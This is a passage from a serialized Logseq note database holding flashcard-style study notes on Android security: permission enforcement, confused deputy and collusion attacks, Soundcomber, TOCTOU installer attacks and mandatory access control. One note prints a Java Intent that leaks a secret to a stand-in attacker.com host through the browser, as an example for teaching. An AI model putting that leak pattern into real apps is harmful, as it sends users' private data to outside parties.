logseq____"],536873940]],[logseq____"^15logseq____",[516,logseq____"^;logseq____",logseq____"~u67b98d05-f7aa-4d65-9297-cee0a45b21e8logseq____",536873913]],[logseq____"^15logseq____",[517,logseq____"^Qlogseq____",logseq____"*per-method* enforcement logiclogseq____",536873953]],[logseq____"^15logseq____",[517,logseq____"^Ologseq____",logseq____"^16logseq____",536873940]],[logseq____"^15logseq____",[517,logseq____"^Flogseq____",516,536873940]],[logseq____"^15logseq____",[517,logseq____"^Xlogseq____",413,536873940]],[logseq____"^15logseq____",[517,logseq____"^Vlogseq____",516,536873942]],[logseq____"^15logseq____",[517,logseq____"^Ulogseq____",2,536873941]],[logseq____"^15logseq____",[517,logseq____"^Ulogseq____",38,536873941]],[logseq____"^15logseq____",[517,logseq____"^Ulogseq____",413,536873941]],[logseq____"^15logseq____",[517,logseq____"^?logseq____",[logseq____"^ logseq____"],536873953]],[logseq____"^15logseq____",[517,logseq____"^;logseq____",logseq____"~u67b98d1b-29ab-4a47-a95d-9a9387ceb6a0logseq____",536873940]],[logseq____"^15logseq____",[518,logseq____"^Qlogseq____",logseq____"must be implemented for all api methodslogseq____",536873960]],[logseq____"^15logseq____",[518,logseq____"^Ologseq____",logseq____"^16logseq____",536873956]],[logseq____"^15logseq____",[518,logseq____"^Flogseq____",517,536873956]],[logseq____"^15logseq____",[518,logseq____"^Xlogseq____",413,536873956]],[logseq____"^15logseq____",[518,logseq____"^Vlogseq____",516,536873956]],[logseq____"^15logseq____",[518,logseq____"^Ulogseq____",2,536873957]],[logseq____"^15logseq____",[518,logseq____"^Ulogseq____",38,536873957]],[logseq____"^15logseq____",[518,logseq____"^Ulogseq____",413,536873957]],[logseq____"^15logseq____",[518,logseq____"^?logseq____",[logseq____"^ logseq____"],536873960]],[logseq____"^15logseq____",[518,logseq____"^;logseq____",logseq____"~u67b98d27-7168-4a96-a34b-92c890885acclogseq____",536873956]],[logseq____"^15logseq____",[519,logseq____"^Qlogseq____",logseq____"Declare component permissions in [[Application Manifest]]logseq____",536874025]],[logseq____"^15logseq____",[519,logseq____"^Ologseq____",logseq____"^16logseq____",536873960]],[logseq____"^15logseq____",[519,logseq____"^Flogseq____",516,536873962]],[logseq____"^15logseq____",[519,logseq____"^Xlogseq____",413,536873960]],[logseq____"^15logseq____",[519,logseq____"^Vlogseq____",513,536873962]],[logseq____"^15logseq____",[519,logseq____"^Ulogseq____",2,536874026]],[logseq____"^15logseq____",[519,logseq____"^Ulogseq____",28,536874026]],[logseq____"^15logseq____",[519,logseq____"^Ulogseq____",38,536874026]],[logseq____"^15logseq____",[519,logseq____"^Ulogseq____",413,536874026]],[logseq____"^15logseq____",[519,logseq____"^?logseq____",[logseq____"^ logseq____"],536874025]],[logseq____"^15logseq____",[519,logseq____"^Hlogseq____",28,536874025]],[logseq____"^15logseq____",[519,logseq____"^;logseq____",logseq____"~u67b98d31-4be8-4fb3-b31e-7394be843beflogseq____",536873960]],[logseq____"^15logseq____",[520,logseq____"^Qlogseq____",logseq____"relaxes to only simple policieslogseq____",536873998]],[logseq____"^15logseq____",[520,logseq____"^Ologseq____",logseq____"^16logseq____",536873988]],[logseq____"^15logseq____",[520,logseq____"^Flogseq____",519,536873988]],[logseq____"^15logseq____",[520,logseq____"^Xlogseq____",413,536873988]],[logseq____"^15logseq____",[520,logseq____"^Vlogseq____",519,536873992]],[logseq____"^15logseq____",[520,logseq____"^Ulogseq____",2,536874026]],[logseq____"^15logseq____",[520,logseq____"^Ulogseq____",28,536874026]],[logseq____"^15logseq____",[520,logseq____"^Ulogseq____",38,536874026]],[logseq____"^15logseq____",[520,logseq____"^Ulogseq____",413,536874026]],[logseq____"^15logseq____",[520,logseq____"^?logseq____",[logseq____"^ logseq____"],536873998]],[logseq____"^15logseq____",[520,logseq____"^;logseq____",logseq____"~u67b98d56-f221-4afb-8792-1cce5c4060fflogseq____",536873988]],[logseq____"^15logseq____",[521,logseq____"^Qlogseq____",logseq____"policy enforcement delegated to OSlogseq____",536874014]],[logseq____"^15logseq____",[521,logseq____"^Ologseq____",logseq____"^16logseq____",536873998]],[logseq____"^15logseq____",[521,logseq____"^Flogseq____",520,536873998]],[logseq____"^15logseq____",[521,logseq____"^Xlogseq____",413,536873998]],[logseq____"^15logseq____",[521,logseq____"^Vlogseq____",519,536873998]],[logseq____"^15logseq____",[521,logseq____"^Ulogseq____",2,536874026]],[logseq____"^15logseq____",[521,logseq____"^Ulogseq____",28,536874026]],[logseq____"^15logseq____",[521,logseq____"^Ulogseq____",38,536874026]],[logseq____"^15logseq____",[521,logseq____"^Ulogseq____",413,536874026]],[logseq____"^15logseq____",[521,logseq____"^?logseq____",[logseq____"^ logseq____"],536874014]],[logseq____"^15logseq____",[521,logseq____"^;logseq____",logseq____"~u67b98d64-affc-46fe-9f97-2cb4da2d2465logseq____",536873998]],[logseq____"^15logseq____",[523,logseq____"^Qlogseq____",logseq____"## Enforcing Permissions via Linux Kernel #card #security-architecturelogseq____",536874172]],[logseq____"^15logseq____",[523,logseq____"^Ologseq____",logseq____"^16logseq____",536874038]],[logseq____"^15logseq____",[523,logseq____"^Flogseq____",478,536874045]],[logseq____"^15logseq____",[523,logseq____"^Xlogseq____",354,536874038]],[logseq____"^15logseq____",[523,logseq____"^Vlogseq____",354,536874045]],[logseq____"^15logseq____",[523,logseq____"^Ulogseq____",2,536874173]],[logseq____"^15logseq____",[523,logseq____"^Ulogseq____",38,536874173]],[logseq____"^15logseq____",[523,logseq____"^Ulogseq____",354,536874173]],[logseq____"^15logseq____",[523,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874172]],[logseq____"^15logseq____",[523,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874172]],[logseq____"^15logseq____",[523,logseq____"^Hlogseq____",2,536874172]],[logseq____"^15logseq____",[523,logseq____"^Hlogseq____",38,536874172]],[logseq____"^15logseq____",[523,logseq____"^;logseq____",logseq____"~u67b98fbf-647f-49c9-b694-5cc32e9782dblogseq____",536874038]],[logseq____"^15logseq____",[524,logseq____"^Qlogseq____",logseq____"Certain actions are communicated to the kernel directly, e.g., `syscall` for physical resourceslogseq____",536874082]],[logseq____"^15logseq____",[524,logseq____"^Ologseq____",logseq____"^16logseq____",536874055]],[logseq____"^15logseq____",[524,logseq____"^Flogseq____",523,536874055]],[logseq____"^15logseq____",[524,logseq____"^Xlogseq____",354,536874055]],[logseq____"^15logseq____",[524,logseq____"^Vlogseq____",523,536874061]],[logseq____"^15logseq____",[524,logseq____"^Ulogseq____",2,536874173]],[logseq____"^15logseq____",[524,logseq____"^Ulogseq____",38,536874173]],[logseq____"^15logseq____",[524,logseq____"^Ulogseq____",354,536874173]],[logseq____"^15logseq____",[524,logseq____"^?logseq____",[logseq____"^ logseq____"],536874082]],[logseq____"^15logseq____",[524,logseq____"^;logseq____",logseq____"~u67b98fcd-c886-4e73-b17e-65936cfabedblogseq____",536874055]],[logseq____"^15logseq____",[525,logseq____"^Qlogseq____",logseq____"Handled via `GID` app gets added to groups on installlogseq____",536874102]],[logseq____"^15logseq____",[525,logseq____"^Ologseq____",logseq____"^16logseq____",536874082]],[logseq____"^15logseq____",[525,logseq____"^Flogseq____",524,536874082]],[logseq____"^15logseq____",[525,logseq____"^Xlogseq____",354,536874082]],[logseq____"^15logseq____",[525,logseq____"^Vlogseq____",523,536874082]],[logseq____"^15logseq____",[525,logseq____"^Ulogseq____",2,536874173]],[logseq____"^15logseq____",[525,logseq____"^Ulogseq____",38,536874173]],[logseq____"^15logseq____",[525,logseq____"^Ulogseq____",354,536874173]],[logseq____"^15logseq____",[525,logseq____"^?logseq____",[logseq____"^ logseq____"],536874102]],[logseq____"^15logseq____",[525,logseq____"^;logseq____",logseq____"~u67b98fec-fd50-438c-883d-06d063298efblogseq____",536874082]],[logseq____"^15logseq____",[526,logseq____"^Qlogseq____",logseq____"Kernel errors are then translated to Java `SecurityException`s by core librarieslogseq____",536874121]],[logseq____"^15logseq____",[526,logseq____"^Ologseq____",logseq____"^16logseq____",536874105]],[logseq____"^15logseq____",[526,logseq____"^Flogseq____",525,536874105]],[logseq____"^15logseq____",[526,logseq____"^Xlogseq____",354,536874105]],[logseq____"^15logseq____",[526,logseq____"^Vlogseq____",523,536874105]],[logseq____"^15logseq____",[526,logseq____"^Ulogseq____",2,536874173]],[logseq____"^15logseq____",[526,logseq____"^Ulogseq____",38,536874173]],[logseq____"^15logseq____",[526,logseq____"^Ulogseq____",354,536874173]],[logseq____"^15logseq____",[526,logseq____"^?logseq____",[logseq____"^ logseq____"],536874121]],[logseq____"^15logseq____",[526,logseq____"^;logseq____",logseq____"~u67b99014-f6a4-4dd4-ae5f-0ed4677e2e4alogseq____",536874105]],[logseq____"^15logseq____",[527,logseq____"^Qlogseq____",logseq____"No *delegation* or *revocation* in Kernel (requires APP restarts)logseq____",536874153]],[logseq____"^15logseq____",[527,logseq____"^Ologseq____",logseq____"^16logseq____",536874124]],[logseq____"^15logseq____",[527,logseq____"^Flogseq____",526,536874124]],[logseq____"^15logseq____",[527,logseq____"^Xlogseq____",354,536874124]],[logseq____"^15logseq____",[527,logseq____"^Vlogseq____",523,536874124]],[logseq____"^15logseq____",[527,logseq____"^Ulogseq____",2,536874173]],[logseq____"^15logseq____",[527,logseq____"^Ulogseq____",38,536874173]],[logseq____"^15logseq____",[527,logseq____"^Ulogseq____",354,536874173]],[logseq____"^15logseq____",[527,logseq____"^?logseq____",[logseq____"^ logseq____"],536874153]],[logseq____"^15logseq____",[527,logseq____"^;logseq____",logseq____"~u67b990b5-d413-4ee4-a2d4-a95a13718250logseq____",536874124]],[logseq____"^15logseq____",[528,logseq____"^Qlogseq____",logseq____"## Confused Deputy Attack #card #security-architecture\\nid:: 67b9916a-6bf3-484b-8789-97ba34ac6c7clogseq____",536878725]],[logseq____"^15logseq____",[528,logseq____"^Ologseq____",logseq____"^16logseq____",536874157]],[logseq____"^15logseq____",[528,logseq____"^Flogseq____",523,536874161]],[logseq____"^15logseq____",[528,logseq____"^Xlogseq____",354,536874157]],[logseq____"^15logseq____",[528,logseq____"^Vlogseq____",354,536874161]],[logseq____"^15logseq____",[528,logseq____"^Ulogseq____",2,536874656]],[logseq____"^15logseq____",[528,logseq____"^Ulogseq____",38,536874656]],[logseq____"^15logseq____",[528,logseq____"^Ulogseq____",354,536874656]],[logseq____"^15logseq____",[528,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2,logseq____"^18logseq____",logseq____"67b9916a-6bf3-484b-8789-97ba34ac6c7clogseq____"],536878725]],[logseq____"^15logseq____",[528,logseq____"^Jlogseq____",[logseq____"^14logseq____",[logseq____"^18logseq____"]],536878725]],[logseq____"^15logseq____",[528,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b9916a-6bf3-484b-8789-97ba34ac6c7clogseq____"],536878725]],[logseq____"^15logseq____",[528,logseq____"^Hlogseq____",2,536874655]],[logseq____"^15logseq____",[528,logseq____"^Hlogseq____",38,536874655]],[logseq____"^15logseq____",[528,logseq____"^;logseq____",logseq____"~u67b9916a-6bf3-484b-8789-97ba34ac6c7clogseq____",536874157]],[logseq____"^15logseq____",[529,logseq____"^Qlogseq____",logseq____"Fool privileged app into misusing its privilegeslogseq____",536874219]],[logseq____"^15logseq____",[529,logseq____"^Ologseq____",logseq____"^16logseq____",536874183]],[logseq____"^15logseq____",[529,logseq____"^Flogseq____",528,536874183]],[logseq____"^15logseq____",[529,logseq____"^Xlogseq____",354,536874183]],[logseq____"^15logseq____",[529,logseq____"^Vlogseq____",528,536874185]],[logseq____"^15logseq____",[529,logseq____"^Ulogseq____",2,536878726]],[logseq____"^15logseq____",[529,logseq____"^Ulogseq____",38,536878726]],[logseq____"^15logseq____",[529,logseq____"^Ulogseq____",354,536878726]],[logseq____"^15logseq____",[529,logseq____"^?logseq____",[logseq____"^ logseq____"],536874219]],[logseq____"^15logseq____",[529,logseq____"^;logseq____",logseq____"~u67b9917d-b9b8-4ba9-9c8a-0af397ccef84logseq____",536874183]],[logseq____"^15logseq____",[530,logseq____"^Qlogseq____",logseq____"### Misuse browser for internet accesslogseq____",536874235]],[logseq____"^15logseq____",[530,logseq____"^Ologseq____",logseq____"^16logseq____",536874219]],[logseq____"^15logseq____",[530,logseq____"^Flogseq____",529,536874219]],[logseq____"^15logseq____",[530,logseq____"^Xlogseq____",354,536874219]],[logseq____"^15logseq____",[530,logseq____"^Vlogseq____",528,536874219]],[logseq____"^15logseq____",[530,logseq____"^Ulogseq____",2,536878726]],[logseq____"^15logseq____",[530,logseq____"^Ulogseq____",38,536878726]],[logseq____"^15logseq____",[530,logseq____"^Ulogseq____",354,536878726]],[logseq____"^15logseq____",[530,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874235]],[logseq____"^15logseq____",[530,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874235]],[logseq____"^15logseq____",[530,logseq____"^;logseq____",logseq____"~u67b99199-6662-40d9-b0f7-2e6d248f94bclogseq____",536874219]],[logseq____"^15logseq____",[531,logseq____"^Qlogseq____",logseq____"Leak: `startActivity(new Intent(Intent.ActionView, Uri.parse(\\logseq____"https://attacker.com/data?secret=\\logseq____" + secret)));`logseq____",536874298]],[logseq____"^15logseq____",[531,logseq____"^Ologseq____",logseq____"^16logseq____",536874235]],[logseq____"^15logseq____",[531,logseq____"^Flogseq____",530,536874235]],[logseq____"^15logseq____",[531,logseq____"^Xlogseq____",354,536874235]],[logseq____"^15logseq____",[531,logseq____"^Vlogseq____",530,536874239]],[logseq____"^15logseq____",[531,logseq____"^Ulogseq____",2,536878726]],[logseq____"^15logseq____",[531,logseq____"^Ulogseq____",38,536878726]],[logseq____"^15logseq____",[531,logseq____"^Ulogseq____",354,536878726]],[logseq____"^15logseq____",[531,logseq____"^?logseq____",[logseq____"^ logseq____"],536874298]],[logseq____"^15logseq____",[531,logseq____"^;logseq____",logseq____"~u67b991a8-6504-41d2-b7aa-ad2471d16f4clogseq____",536874235]],[logseq____"^15logseq____",[532,logseq____"^Qlogseq____",logseq____"Receive: Define intent filter, such that browser will open attacker app `nethack:data?param=server_data`logseq____",536874326]],[logseq____"^15logseq____",[532,logseq____"^Ologseq____",logseq____"^16logseq____",536874298]],[logseq____"^15logseq____",[532,logseq____"^Flogseq____",531,536874298]],[logseq____"^15logseq____",[532,logseq____"^Xlogseq____",354,536874298]],[logseq____"^15logseq____",[532,logseq____"^Vlogseq____",530,536874298]],[logseq____"^15logseq____",[532,logseq____"^Ulogseq____",2,536878726]],[logseq____"^15logseq____",[532,logseq____"^Ulogseq____",38,536878726]],[logseq____"^15logseq____",[532,logseq____"^Ulogseq____",354,536878726]],[logseq____"^15logseq____",[532,logseq____"^?logseq____",[logseq____"^ logseq____"],536874326]],[logseq____"^15logseq____",[532,logseq____"^;logseq____",logseq____"~u67b991d6-f311-4497-9d06-96801872db8blogseq____",536874298]],[logseq____"^15logseq____",[533,logseq____"^Qlogseq____",logseq____"### Passive Content Leakslogseq____",536874339]],[logseq____"^15logseq____",[533,logseq____"^Ologseq____",logseq____"^16logseq____",536874327]],[logseq____"^15logseq____",[533,logseq____"^Flogseq____",530,536874420]],[logseq____"^15logseq____",[533,logseq____"^Xlogseq____",354,536874327]],[logseq____"^15logseq____",[533,logseq____"^Vlogseq____",528,536874420]],[logseq____"^15logseq____",[533,logseq____"^Ulogseq____",2,536878726]],[logseq____"^15logseq____",[533,logseq____"^Ulogseq____",38,536878726]],[logseq____"^15logseq____",[533,logseq____"^Ulogseq____",354,536878726]],[logseq____"^15logseq____",[533,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874339]],[logseq____"^15logseq____",[533,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874339]],[logseq____"^15logseq____",[533,logseq____"^;logseq____",logseq____"~u67b99205-2a6e-4d6f-982f-2ca3a32ab997logseq____",536874327]],[logseq____"^15logseq____",[534,logseq____"^Qlogseq____",logseq____"Study revealed 2% of analyzed apps leak sensitive data, via SMS messages, contacts, user credentials etc.logseq____",536874379]],[logseq____"^15logseq____",[534,logseq____"^Ologseq____",logseq____"^16logseq____",536874339]],[logseq____"^15logseq____",[534,logseq____"^Flogseq____",533,536874339]],[logseq____"^15logseq____",[534,logseq____"^Xlogseq____",354,536874339]],[logseq____"^15logseq____",[534,logseq____"^Vlogseq____",533,536874341]],[logseq____"^15logseq____",[534,logseq____"^Ulogseq____",2,536878726]],[logseq____"^15logseq____",[534,logseq____"^Ulogseq____",38,536878726]],[logseq____"^15logseq____",[534,logseq____"^Ulogseq____",354,536878726]],[logseq____"^15logseq____",[534,logseq____"^?logseq____",[logseq____"^ logseq____"],536874379]],[logseq____"^15logseq____",[534,logseq____"^;logseq____",logseq____"~u67b9921b-abeb-4b60-8c74-5f0d2120a978logseq____",536874339]],[logseq____"^15logseq____",[535,logseq____"^Qlogseq____",logseq____"1.4% of apps allowed for content pollution (injecting data triggers privileged functionality)logseq____",536874437]],[logseq____"^15logseq____",[535,logseq____"^Ologseq____",logseq____"^16logseq____",536874382]],[logseq____"^15logseq____",[535,logseq____"^Flogseq____",534,536874382]],[logseq____"^15logseq____",[535,logseq____"^Xlogseq____",354,536874382]],[logseq____"^15logseq____",[535,logseq____"^Vlogseq____",533,536874382]],[logseq____"^15logseq____",[535,logseq____"^Ulogseq____",2,536878726]],[logseq____"^15logseq____",[535,logseq____"^Ulogseq____",38,536878726]],[logseq____"^15logseq____",[535,logseq____"^Ulogseq____",354,536878726]],[logseq____"^15logseq____",[535,logseq____"^?logseq____",[logseq____"^ logseq____"],536874437]],[logseq____"^15logseq____",[535,logseq____"^;logseq____",logseq____"~u67b99273-2aa0-4841-aa2e-cd917e0371a8logseq____",536874382]],[logseq____"^15logseq____",[536,logseq____"^Qlogseq____",logseq____"## Collusion Attacks #card #security-architecturelogseq____",536874659]],[logseq____"^15logseq____",[536,logseq____"^Ologseq____",logseq____"^16logseq____",536874392]],[logseq____"^15logseq____",[536,logseq____"^Flogseq____",528,536874412]],[logseq____"^15logseq____",[536,logseq____"^Xlogseq____",354,536874392]],[logseq____"^15logseq____",[536,logseq____"^Vlogseq____",354,536874412]],[logseq____"^15logseq____",[536,logseq____"^Ulogseq____",2,536874660]],[logseq____"^15logseq____",[536,logseq____"^Ulogseq____",38,536874660]],[logseq____"^15logseq____",[536,logseq____"^Ulogseq____",354,536874660]],[logseq____"^15logseq____",[536,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874659]],[logseq____"^15logseq____",[536,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874659]],[logseq____"^15logseq____",[536,logseq____"^Hlogseq____",2,536874659]],[logseq____"^15logseq____",[536,logseq____"^Hlogseq____",38,536874659]],[logseq____"^15logseq____",[536,logseq____"^;logseq____",logseq____"~u67b9928d-f769-4958-8aba-8614313e616flogseq____",536874392]],[logseq____"^15logseq____",[537,logseq____"^Qlogseq____",logseq____"Malicious Apps collude to merge their permissionslogseq____",536874610]],[logseq____"^15logseq____",[537,logseq____"^Ologseq____",logseq____"^16logseq____",536874424]],[logseq____"^15logseq____",[537,logseq____"^Flogseq____",536,536874424]],[logseq____"^15logseq____",[537,logseq____"^Xlogseq____",354,536874424]],[logseq____"^15logseq____",[537,logseq____"^Vlogseq____",536,536874428]],[logseq____"^15logseq____",[537,logseq____"^Ulogseq____",2,536874660]],[logseq____"^15logseq____",[537,logseq____"^Ulogseq____",38,536874660]],[logseq____"^15logseq____",[537,logseq____"^Ulogseq____",354,536874660]],[logseq____"^15logseq____",[537,logseq____"^?logseq____",[logseq____"^ logseq____"],536874610]],[logseq____"^15logseq____",[537,logseq____"^;logseq____",logseq____"~u67b992ae-9630-4444-b65b-12ac442e5232logseq____",536874424]],[logseq____"^15logseq____",[538,logseq____"^Qlogseq____",logseq____"### Unauthorized Installslogseq____",536874513]],[logseq____"^15logseq____",[538,logseq____"^Ologseq____",logseq____"^16logseq____",536874440]],[logseq____"^15logseq____",[538,logseq____"^Flogseq____",533,536874442]],[logseq____"^15logseq____",[538,logseq____"^Xlogseq____",354,536874440]],[logseq____"^15logseq____",[538,logseq____"^Vlogseq____",528,536874442]],[logseq____"^15logseq____",[538,logseq____"^Ulogseq____",2,536878726]],[logseq____"^15logseq____",[538,logseq____"^Ulogseq____",38,536878726]],[logseq____"^15logseq____",[538,logseq____"^Ulogseq____",354,536878726]],[logseq____"^15logseq____",[538,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874513]],[logseq____"^15logseq____",[538,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874513]],[logseq____"^15logseq____",[538,logseq____"^;logseq____",logseq____"~u67b992d6-768c-4d0a-b7eb-8b556d65b3f2logseq____",536874440]],[logseq____"^15logseq____",[539,logseq____"^Qlogseq____",logseq____"Third party app installers often store APKs on external storagelogseq____",536874463]],[logseq____"^15logseq____",[539,logseq____"^Ologseq____",logseq____"^16logseq____",536874447]],[logseq____"^15logseq____",[539,logseq____"^Flogseq____",538,536874447]],[logseq____"^15logseq____",[539,logseq____"^Xlogseq____",354,536874447]],[logseq____"^15logseq____",[539,logseq____"^Vlogseq____",538,536874449]],[logseq____"^15logseq____",[539,logseq____"^Ulogseq____",2,536878726]],[logseq____"^15logseq____",[539,logseq____"^Ulogseq____",38,536878726]],[logseq____"^15logseq____",[539,logseq____"^Ulogseq____",354,536878726]],[logseq____"^15logseq____",[539,logseq____"^?logseq____",[logseq____"^ logseq____"],536874463]],[logseq____"^15logseq____",[539,logseq____"^;logseq____",logseq____"~u67b992dc-9d5e-465a-a53e-2438abba83c9logseq____",536874447]],[logseq____"^15logseq____",[540,logseq____"^Qlogseq____",logseq____"Malicious apps may place/overwrite APK files tricking the installer into installing malicious APKs (TOCTOU vulnerablitiy)logseq____",536874500]],[logseq____"^15logseq____",[540,logseq____"^Ologseq____",logseq____"^16logseq____",536874463]],[logseq____"^15logseq____",[540,logseq____"^Flogseq____",539,536874463]],[logseq____"^15logseq____",[540,logseq____"^Xlogseq____",354,536874463]],[logseq____"^15logseq____",[540,logseq____"^Vlogseq____",538,536874463]],[logseq____"^15logseq____",[540,logseq____"^Ulogseq____",2,536878726]],[logseq____"^15logseq____",[540,logseq____"^Ulogseq____",38,536878726]],[logseq____"^15logseq____",[540,logseq____"^Ulogseq____",354,536878726]],[logseq____"^15logseq____",[540,logseq____"^?logseq____",[logseq____"^ logseq____"],536874500]],[logseq____"^15logseq____",[540,logseq____"^;logseq____",logseq____"~u67b992ed-6453-49f8-9312-a6b6d739a675logseq____",536874463]],[logseq____"^15logseq____",[541,logseq____"^Qlogseq____",logseq____"### System Serviceslogseq____",536874520]],[logseq____"^15logseq____",[541,logseq____"^Ologseq____",logseq____"^16logseq____",536874503]],[logseq____"^15logseq____",[541,logseq____"^Flogseq____",538,536874507]],[logseq____"^15logseq____",[541,logseq____"^Xlogseq____",354,536874503]],[logseq____"^15logseq____",[541,logseq____"^Vlogseq____",528,536874507]],[logseq____"^15logseq____",[541,logseq____"^Ulogseq____",2,536878726]],[logseq____"^15logseq____",[541,logseq____"^Ulogseq____",38,536878726]],[logseq____"^15logseq____",[541,logseq____"^Ulogseq____",354,536878726]],[logseq____"^15logseq____",[541,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874520]],[logseq____"^15logseq____",[541,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874520]],[logseq____"^15logseq____",[541,logseq____"^;logseq____",logseq____"~u67b993ea-36fc-4b97-ad50-6ddbcf96b8belogseq____",536874503]],[logseq____"^15logseq____",[542,logseq____"^Qlogseq____",logseq____"Calling a system service has a side-effect onto another system servicelogseq____",536874539]],[logseq____"^15logseq____",[542,logseq____"^Ologseq____",logseq____"^16logseq____",536874520]],[logseq____"^15logseq____",[542,logseq____"^Flogseq____",541,536874520]],[logseq____"^15logseq____",[542,logseq____"^Xlogseq____",354,536874520]],[logseq____"^15logseq____",[542,logseq____"^Vlogseq____",541,536874522]],[logseq____"^15logseq____",[542,logseq____"^Ulogseq____",2,536878726]],[logseq____"^15logseq____",[542,logseq____"^Ulogseq____",38,536878726]],[logseq____"^15logseq____",[542,logseq____"^Ulogseq____",354,536878726]],[logseq____"^15logseq____",[542,logseq____"^?logseq____",[logseq____"^ logseq____"],536874539]],[logseq____"^15logseq____",[542,logseq____"^;logseq____",logseq____"~u67b993f7-5625-405c-b62a-de7b94af2661logseq____",536874520]],[logseq____"^15logseq____",[543,logseq____"^Qlogseq____",logseq____"ContentProvider checks callers permissions (`getCallingUid`), but ActivityManagerService could be misused to call `openFile` of ContentProvider with system privilegeslogseq____",536874598]],[logseq____"^15logseq____",[543,logseq____"^Ologseq____",logseq____"^16logseq____",536874540]],[logseq____"^15logseq____",[543,logseq____"^Flogseq____",542,536874540]],[logseq____"^15logseq____",[543,logseq____"^Xlogseq____",354,536874540]],[logseq____"^15logseq____",[543,logseq____"^Vlogseq____",541,536874540]],[logseq____"^15logseq____",[543,logseq____"^Ulogseq____",2,536878726]],[logseq____"^15logseq____",[543,logseq____"^Ulogseq____",38,536878726]],[logseq____"^15logseq____",[543,logseq____"^Ulogseq____",354,536878726]],[logseq____"^15logseq____",[543,logseq____"^?logseq____",[logseq____"^ logseq____"],536874598]],[logseq____"^15logseq____",[543,logseq____"^;logseq____",logseq____"~u67b99411-e3ca-4891-8c65-7923841413a8logseq____",536874540]],[logseq____"^15logseq____",[544,logseq____"^Qlogseq____",logseq____"### Soundcomberlogseq____",536874614]],[logseq____"^15logseq____",[544,logseq____"^Ologseq____",logseq____"^16logseq____",536874610]],[logseq____"^15logseq____",[544,logseq____"^Flogseq____",537,536874610]],[logseq____"^15logseq____",[544,logseq____"^Xlogseq____",354,536874610]],[logseq____"^15logseq____",[544,logseq____"^Vlogseq____",536,536874610]],[logseq____"^15logseq____",[544,logseq____"^Ulogseq____",2,536874660]],[logseq____"^15logseq____",[544,logseq____"^Ulogseq____",38,536874660]],[logseq____"^15logseq____",[544,logseq____"^Ulogseq____",354,536874660]],[logseq____"^15logseq____",[544,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874614]],[logseq____"^15logseq____",[544,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874614]],[logseq____"^15logseq____",[544,logseq____"^;logseq____",logseq____"~u67b994bc-78b4-44fd-a8bc-da76f41eab8blogseq____",536874610]],[logseq____"^15logseq____",[545,logseq____"^Qlogseq____",logseq____"App A(Internet) and App (B) voice extracted credit card number form speechlogseq____",536874642]],[logseq____"^15logseq____",[545,logseq____"^Ologseq____",logseq____"^16logseq____",536874614]],[logseq____"^15logseq____",[545,logseq____"^Flogseq____",544,536874614]],[logseq____"^15logseq____",[545,logseq____"^Xlogseq____",354,536874614]],[logseq____"^15logseq____",[545,logseq____"^Vlogseq____",544,536874616]],[logseq____"^15logseq____",[545,logseq____"^Ulogseq____",2,536874660]],[logseq____"^15logseq____",[545,logseq____"^Ulogseq____",38,536874660]],[logseq____"^15logseq____",[545,logseq____"^Ulogseq____",354,536874660]],[logseq____"^15logseq____",[545,logseq____"^?logseq____",[logseq____"^ logseq____"],536874642]],[logseq____"^15logseq____",[545,logseq____"^;logseq____",logseq____"~u67b994ed-3649-45fb-8758-1b849b851990logseq____",536874614]],[logseq____"^15logseq____",[546,logseq____"^Qlogseq____",logseq____"Communicated via Audio Volume Settinglogseq____",536874652]],[logseq____"^15logseq____",[546,logseq____"^Ologseq____",logseq____"^16logseq____",536874645]],[logseq____"^15logseq____",[546,logseq____"^Flogseq____",545,536874645]],[logseq____"^15logseq____",[546,logseq____"^Xlogseq____",354,536874645]],[logseq____"^15logseq____",[546,logseq____"^Vlogseq____",544,536874645]],[logseq____"^15logseq____",[546,logseq____"^Ulogseq____",2,536874660]],[logseq____"^15logseq____",[546,logseq____"^Ulogseq____",38,536874660]],[logseq____"^15logseq____",[546,logseq____"^Ulogseq____",354,536874660]],[logseq____"^15logseq____",[546,logseq____"^?logseq____",[logseq____"^ logseq____"],536874652]],[logseq____"^15logseq____",[546,logseq____"^;logseq____",logseq____"~u67b99519-6713-4168-8973-14bb3cc6d208logseq____",536874645]],[logseq____"^15logseq____",[547,logseq____"^12logseq____",2,536874664]],[logseq____"^15logseq____",[549,logseq____"^Klogseq____",1740234963069,536874665]],[logseq____"^15logseq____",[549,logseq____"^@logseq____",false,536874665]],[logseq____"^15logseq____",[549,logseq____"^Ylogseq____",logseq____"mandatory access controllogseq____",536874665]],[logseq____"^15logseq____",[549,logseq____"^11logseq____",logseq____"Mandatory Access Controllogseq____",536874665]],[logseq____"^15logseq____",[549,logseq____"^Blogseq____",1740235077587,536874805]],[logseq____"^15logseq____",[549,logseq____"^;logseq____",logseq____"~u67bd79bb-7e42-42f1-921b-4c4ab8b5b683logseq____",536878163]],[logseq____"^15logseq____",[550,logseq____"^Qlogseq____",logseq____"Implemented as Kernel module for Linux Security Modules frameworklogseq____",536874665]],[logseq____"^15logseq____",[550,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[550,logseq____"^Flogseq____",599,536874665]],[logseq____"^15logseq____",[550,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[550,logseq____"^Vlogseq____",599,536874665]],[logseq____"^15logseq____",[550,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[550,logseq____"^;logseq____",logseq____"~u67b9e0d3-1abd-4416-99f8-48a105cb1ba4logseq____",536874665]],[logseq____"^15logseq____",[551,logseq____"^Qlogseq____",logseq____"Allows for tight 